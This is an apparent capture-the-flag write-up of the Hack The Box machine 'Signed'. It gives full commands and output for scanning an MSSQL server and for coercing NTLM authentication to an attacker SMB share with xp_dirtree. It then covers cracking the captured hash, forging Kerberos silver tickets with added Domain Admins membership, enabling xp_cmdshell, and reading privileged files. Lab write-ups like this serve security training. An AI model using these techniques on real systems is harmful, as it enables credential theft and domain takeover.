Description
Signed is a medium Hack The Box machine that features:
- Assumed breach scenario with credentials that leads in MSSQL service enumeration
- MSSQL service account NTLM hash capture and crack to elevate the privileges
- Privilege Escalation via the ability of creating silver tickets and the use of
OPENROWSET(BULK)T-SQL query to read privileged files
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.186.204.
$ ping -c 3 10.129.186.204
PING 10.129.186.204 (10.129.186.204) 56(84) bytes of data.
64 bytes from 10.129.186.204: icmp_seq=1 ttl=127 time=46.8 ms
64 bytes from 10.129.186.204: icmp_seq=2 ttl=127 time=46.3 ms
64 bytes from 10.129.186.204: icmp_seq=3 ttl=127 time=47.6 ms
--- 10.129.186.204 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.278/46.878/47.605/0.549 ms
The machine is active and with the TTL that equals 127 (128 minus 1 jump) we can assure that it is an Windows machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.186.204 -sS -Pn -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.186.204
Host is up (0.047s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE
1433/tcp open ms-sql-s
Nmap done: 1 IP address (1 host up) scanned in 197.92 seconds
We only find the opened 1433 port.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.186.204 -Pn -sV -sC -p1433 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.186.204
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
| 10.129.186.204:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 10.129.186.204:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.98 seconds
We only find the Microsoft SQL Server service running on the server. We have the credentials of the scott user, Sm230#C5NatH, as an assumed breach. We check it.
$ netexec mssql 10.129.186.204 -u scott -p 'Sm230#C5NatH' --local-auth
MSSQL 10.129.186.204 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.186.204 1433 DC01 [+] DC01\scott:Sm230#C5NatH
The credential is correct. We add the host to our /etc/hosts local file.
$ echo "10.129.186.204 signed.htb" | sudo tee -a /etc/hosts
We can start by enumerating the server using impacket-mssqlclient tool.
$ impacket-mssqlclient 'scott:Sm230#C5NatH'@signed.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (scott guest@master)> enum_db
name is_trustworthy_on
------ -----------------
master 0
tempdb 0
model 0
msdb 1
SQL (scott guest@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
----- --------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
scott SQL_LOGIN 0 0 0 0 0 0 0 0 0
SQL (scott guest@master)> enum_users
UserName RoleName LoginName DefDBName DefSchemaName UserID SID
------------------ -------- --------- --------- ------------- ---------- -----
dbo db_owner sa master dbo b'1 ' b'01'
guest public NULL NULL guest b'2 ' b'00'
INFORMATION_SCHEMA public NULL NULL NULL b'3 ' NULL
sys public NULL NULL NULL b'4 ' NULL
We do not find anything of value in this output. We find that the xp_dirtree command is working, although it is not giving us output, it is not failing due to permissions issues.
SQL (scott guest@master)> xp_dirtree /
subdirectory depth file
------------ ----- ----
Exploitation
We are going to create a SMB server with the impacket-smbserver tool to try to capture NTLM hashes from the Microsoft SQL server.
$ impacket-smbserver -smb2support share .
Now we run the xp_dirtree command pointing to our newly-created SMB server.
SQL (scott guest@master)> xp_dirtree \\10.10.14.82\a
We get the hash for the DC01\mssqlsvc MSSQL service account.
$ impacket-smbserver -smb2support share .
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.129.186.204,55052)
[*] AUTHENTICATE_MESSAGE (SIGNED\mssqlsvc,DC01)
[*] User DC01\mssqlsvc authenticated successfully
[*] mssqlsvc::SIGNED:aaaaaaaaaaaaaaaa:934ddbca048e69cf10195c12f5d3ef4e:010100000000000000578476713bdc0109562d1a922bae360000000001001000570055007000750051005200490053000300100057005500700075005100520049005300020010006b006300580045006a00630070006b00040010006b006300580045006a00630070006b000700080000578476713bdc01060004000200000008003000300000000000000000000000003000009d3af032076cd6b1a72817613939a9804bd0f5f7702c3d870d54e360f6ed8c4f0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00380032000000000000000000
[*] Closing down connection (10.129.186.204,55052)
[*] Remaining connections []
We crack it using John The Ripper.
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
purPLE9795!@ (mssqlsvc)
1g 0:00:00:02 DONE 0.4784g/s 2147Kp/s 2147Kc/s 2147KC/s purtynread..punociudad
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
We find the password for mssqlsvc service account purPLE9795!@. Now, as we have access to a service account, we have the ability of forging silver tickets with custom parameters, which can lead in privilege escalation. Firstly we are going to open a MSSQL shell to option the SID of the service account (and the server SID).
$ impacket-mssqlclient 'mssqlsvc:purPLE9795!@'@signed.htb -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc guest@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
--------------------------------- ------------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
##MS_PolicyEventProcessingLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0
##MS_PolicyTsqlExecutionLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0
SIGNED\IT WINDOWS_GROUP 0 1 0 0 0 0 0 0 0
We find that there is a Windows group with sysadmin permission, SIGNED\IT. This permission will allow us to run commands on the machine. We get the SIDs for mssqlvsc, SIGNED\IT and SIGNED\Domain Admins.
SQL (SIGNED\mssqlsvc guest@master)> SELECT SUSER_SID('SIGNED\mssqlsvc');
-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000'
SQL (SIGNED\mssqlsvc guest@master)> SELECT SUSER_SID('SIGNED\IT');
-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'
SQL (SIGNED\mssqlsvc guest@master)> SELECT SUSER_SID('SIGNED\Domain Admins');
-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca400020000'
MSSQL returns the SIDs in binary format, we need to convert them to the common format. For that we will use a Python script, sid_parser.py.
#!/usr/bin/env python3
import sys
def parse_sid(hex_str):
data = bytes.fromhex(hex_str)
revision = data[0]
sub_auth_count = data[1]
identifier_auth = int.from_bytes(data[2:8], 'big')
sub_auths = [int.from_bytes(data[8+i*4:12+i*4], 'little') for i in range(sub_auth_count)]
sid_str = f"S-{revision}-{identifier_auth}-" + '-'.join(str(x) for x in sub_auths)
return sid_str
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: ./sid_parser.py <SID_hex_without_0x>")
print("Example: ./sid_parser.py 0105000000000005150000008C9D2C7A0A9B5F01")
sys.exit(1)
hex_input = sys.argv[1]
try:
print(parse_sid(hex_input))
except Exception as e:
print(f"Error parsing SID: {e}")
sys.exit(1)
We use it.
$ python sid_parser.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000
S-1-5-21-4088429403-1159899800-2753317549-1103
$ python sid_parser.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
S-1-5-21-4088429403-1159899800-2753317549-1105
$ python sid_parser.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca400020000
S-1-5-21-4088429403-1159899800-2753317549-512
We get the common SID part of the domain S-1-5-21-4088429403-1159899800-2753317549, the ID of the mssqlsvc user, 1103, the ID of the IT group, 1105 and the ID of the Domain Admins group, 512. To forge the silver ticket we need to convert the password of the service account to a NT hash (RC4). We can use the following command.
$ printf '%s' 'purPLE9795!@' | iconv -t utf16le | openssl dgst -md4 -binary | xxd -p | tr '[:lower:]' '[:upper:]'
EF699384C3285C54128A3EE1DDB1A0CC
We got the EF699384C3285C54128A3EE1DDB1A0CC NT hash. Now we can forge the ticket to impersonate that we are part of the IT group, to gain remote command execution ability.
$ impacket-ticketer -nthash EF699384C3285C54128A3EE1DDB1A0CC -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn mssqlsvc/signed.htb:1433 -groups 1105 mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache
Now we can login using the Kerberos authentication with the ticket we generated. And we can enable the enable_xp_cmdshell option that will allow us to run commands.
$ KRB5CCNAME=./mssqlsvc.ccache impacket-mssqlclient -k -no-pass signed.htb/mssqlsvc@signed.htb
...
SQL (SIGNED\Administrator dbo@master)> enable_xp_cmdshell
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
...
SQL (SIGNED\Administrator dbo@master)> xp_cmdshell whoami
output
---------------
signed\mssqlsvc
NULL
Post-Exploitation
Now we can run commands as the mssqlsvc user, but if we forge an Administrator ticket, we will not be able of running commands as the administrator, as the commands ran from the xp_cmdshell runs on a different context. In Transact-SQL, the OPENROWSET function exists. The OPENROWSET function reads data from one or many files and returns the content as a rowset. OPENROWSET(BULK) is designed for reading data from external data files.
To read privileged files we need to belong to a privileged group, such as Domain Admins. As we have the ability to forge silver ticket, we can generate a new one to belong to the IT (1105) and Domain Admins (512) groups. We also need to specify the user ID for the user the ticket will be created for (1103), as by default it is filled with the 500 value.
$ impacket-ticketer -nthash EF699384C3285C54128A3EE1DDB1A0CC -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn mssqlsvc/signed.htb:1433 -user-id 1103 -groups 512,1105 mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache
Now we can re-login to read privileged files.
$ KRB5CCNAME=./mssqlsvc.ccache impacket-mssqlclient -k -no-pass signed.htb/mssqlsvc@signed.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS Contents;
BulkColumn
-------------------------------------------------------------------------------------------------------------
b'; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n[mci extensions]\r\n[files]\r\n[Mail]\r\nMAPI=1\r\n'
Flags
In this context, we can retrieve the user.txt and root.txt flags.
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\mssqlsvc\Desktop\user.txt', SINGLE_CLOB) AS Contents;
BulkColumn
---------------------------------------
b'<REDACTED>\r\n'
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS Contents;
BulkColumn
---------------------------------------
b'<REDACTED>\r\n'